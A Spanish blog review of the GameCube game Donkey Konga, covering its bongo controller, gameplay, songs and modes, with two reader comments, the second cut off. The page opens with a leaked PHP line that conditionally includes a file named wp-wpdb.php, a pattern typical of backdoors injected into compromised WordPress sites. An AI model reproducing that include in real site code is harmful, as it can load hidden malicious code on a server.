if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Grandes infravalorados: Donkey Konga – La Fortaleza de LeChuck

Grandes infravalorados: Donkey Konga

Fueron muchos los buenos juegos que nos dejó el cubo de Nintendo durante la generación pasada. El dominio comercial de la segunda PlayStation de Sony y la incursión de Microsoft en el mercado consolero no hicieron que «La gran N» diera de lado a sus fieles seguidores. Así, además de Wind Waker, Mario Sunshine, F-Zero GX y otras magistrales continuaciones de sus sagas ya consagradas, fueron numerosos los ejemplos de nuevas IP’s o spin-offs que tuvieron su sitio reservado en el catálogo de Gamecube. Entre ellas, hubo una que destacó por lo original de su propuesta. Hablamos de Donkey Konga.

Aunque actualmente no pasan por su mejor momento, sagas como Guitar Hero o Singstar cuentan entre sus logros el acercamiento del género musical al público mayoritario, así como la introducción de nuevos sistemas de control que, imitando instrumentos musicales reales, consiguen aumentar la inmersión del jugador y mejorar su experiencia. Aunque estos fueron los títulos más exitosos del género durante la pasada generación, no tuvieron ningún tipo de representación en la consola morada de Nintendo. Sin embargo, los usuarios de Gamecube, los japoneses en primer lugar y más tarde los del resto del mundo, no tuvieron razones para lamentarse, al contar con Donkey Konga, un título minoritario pero que albergaba una calidad indiscutible. Al fin y al cabo, ser nintendero en esa época significaba ya formar parte de una minoría.

¡DON-KEY KON-GA!

El título fue lanzado en diciembre de 2003 en Japón y diez meses más tarde pudimos disfrutarlo los usuarios europeos y americanos. Fue el fruto de la alianza entre Namco, que creó Donkey Konga como una adaptación de su saga Taiko no Tatsujin, nacida en los salones recreativos y Nintendo, que cedió a dos de sus personajes estrella, Donkey y Diddy Kong, para que lo protagonizasen. El resultado fue una experiencia musical tremendamente original y divertida.

Donkey Konga se vendió en un pack que incluía un periférico inédito hasta ese momento y que estaba especialmente diseñado para el juego: los bongós. Este aparato, que imitaba al instrumento musical del mismo nombre, fue diseñado para recordar a un par de barriles, como no podía ser de otra forma dado quienes eran los protagonistas del título. Además de las dos membranas de percusión el controlador contaba con un micrófono y un botón de Start, lo que evitaba el engorro de tener que utilizar además un mando tradicional, ya que los menús se controlaban directamente golpeando los bongos.

Los bongós, instrumento musical y sistema antiestrés.

La mecánica jugable de Donkey Konga es sencilla. Existen cuatro acciones posibles: golpear el barril izquierdo, golpear el barrill derecho, golpear ambos barriles a la vez o dar una palmada. Cada acción se corresponde con un símbolo determinado, indicando así al jugador qué tiene que hacer en cada momento. Estos símbolos viajan de derecha a izquierda de la pantalla hasta llegar a la señal que determina el momento exacto del golpe o palmada, a menos que aparezca una barra continua, lo que hará que debamos repetir una de las acciones rápidamente durante un tiempo concreto. Como no podía ser de otra forma, todo esto ocurre al ritmo de unas melodías pegadizas y que encajan perfectamente en el estilo del juego, tropical y desenfadado.

Si tienes más de unos bongós podrás montar una auténtica batucada con tus amigos.

Y es precisamente en el apartado sonoro donde se encuentra otro de los puntos fuertes del juego. Fueron 31 las canciones incluidas en la versión europea del título (distintas en su mayoría a las americanas y japonesas) y entre ellas podemos encontrar temas de artistas populares como el tremendo Don’t stop me now de Queen, All the small things o I want you back, temas clásicos como La marcha turca o La danza húngara nº 5 y lo que fue su mayor baza, temas de bandas sonoras de videojuegos como Super Mario Bros., The legend of Zelda o Super Smash Bros. Melee. El juego cuenta con tres niveles de dificultad: los llamados mono y chimpancé, que sirven para presentar la mecánica del título y gorila, donde encontraremos el verdadero reto que propone Donkey Konga, con una dificultad en ocasiones endiablada (todavía me mareo al pensar en Richard III).

Además del modo principal, el juego incluye opciones multijugador, donde podremos completar las canciones con hasta 3 amigos, que podrán utilizar los bongós o el mando de Gamecube, opción que desaprovecha completamente las posibilidades del título. Por otro lado, al reto que ya supone el juego en sí mismo se añade el llamado modo «cool», que requerirá conocer las notas de memoria, al no aparecer estas en pantalla, así como una serie de minijuegos que permitirán aumentar nuestra destreza con los bongós.

Además de este primer juego, la saga contó con dos entregas adicionales, apareciendo la última de ellas únicamente en Japón, que básicamente alargaban la lista de canciones disponibles, sin aportar grandes novedades.

Donkey Konga pasó bastante desapercibido para el gran público, pero su originalidad, debida en gran parte a la inclusión de los bongós, hacen que sea una alternativa perfecta para otros juegos musicales más conocidos. Como ya he dicho, el juego supone un verdadero reto en su nivel más alto de dificultad (tanto que querrás tirar los bongós por la ventana) y una experiencia divertidísima tanto en solitario como con amigos. Uno de tantos buenos títulos que casi quedaron en el olvido.

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Categorizado como Retro

Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

4 comentarios

  1. Pues si, muy infravalorado a estado el juego.

    Y es uno de esos juegos que necesita muchas horas de jeugo para tenerlo todo al máximo. Cosa que conseguí en su tiempo con mucho esfuerzo y sudores. Sudores sobretodo xD

    El modo multijugador es perfecto, sobretodo si te llevas bien con tu compañero de bongos. En el modo de reproducir todas las canciones seguidas nos pasamos horas

  2. Por ahí tengo todavía yo mis bongos. Que juego de locura, la verdad es que era muy original, cuando estaba en pleno furor el Dance Dance Revolution y cosas de estas. Me gustó, a ver si en Wii U vuelven a la carga aunque sea en versión digital sin muchos gastos ( pero NO con los Wiimotes)

    Un día deberíamos hablar de Donkey Kong Jungle Beat que también era un juegazo jugado con los

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